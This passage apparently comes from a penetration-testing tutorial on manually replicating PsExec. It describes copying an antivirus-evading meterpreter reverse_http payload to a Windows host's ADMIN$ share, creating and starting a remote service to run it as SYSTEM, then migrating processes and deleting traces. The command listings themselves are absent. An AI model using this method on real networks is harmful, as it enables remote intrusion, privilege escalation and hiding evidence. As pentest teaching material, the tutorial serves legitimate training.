Manually PsExec'ing

First let's assume we have a payload executable we generated with msfvenom and obfuscated with Veil (so AV doesn't flag it). In this case, I created a meterpreter reverse_http payload and called it 'met8888.exe'

Copy the binary. From our "jarrieta" command prompt, simply copy the binary to the ADMIN$. Really though, it could be copied and hidden anywhere on the filesystem.

Create a service. The Windowssccommand is used to query, create, delete, etc Windows services and can be used remotely. Read more about ithere. From our command prompt, we'll remotely create a service called "meterpreter" that points to our uploaded binary:

Start the service. The last step is to start the service and execute the binary._Note:_when the service starts it will "time-out" and generate an error. That's because our meterpreter binary isn't an actual service binary and won't return the expected response code. That's fine because we just need it to execute once to fire:

If we look at our Metasploit listener, we'll see the session has been opened:

Cleanup our mess. After getting the meterpreter session, I'd migrate out of the met8888.exe process and into a more permanent one. Then we need to delete the binary and stop/delete the remote service:

One thing an astute reader might have noticed is that when we ran the normal PsExec binary and executedwhoamiin the shell, we were running as "cscou\jarrieta". But in meterpreter runninggetuidshows us as "NT AUTHORITY\SYSTEM". Why the sudden privilege escalation?

It has to do with how services are created and started. By default, services are created and ran as SYSTEM. When we created the service, we didn't specify a username for it to run as so it defaulted to SYSTEM. If we really wanted to run the service with different credentials, we could have specified when we created it, but if we can just jump to straight to SYSTEM why would we want to? Conversely, we could have specified the "-s" option with PsExec to get a SYSTEM shell too.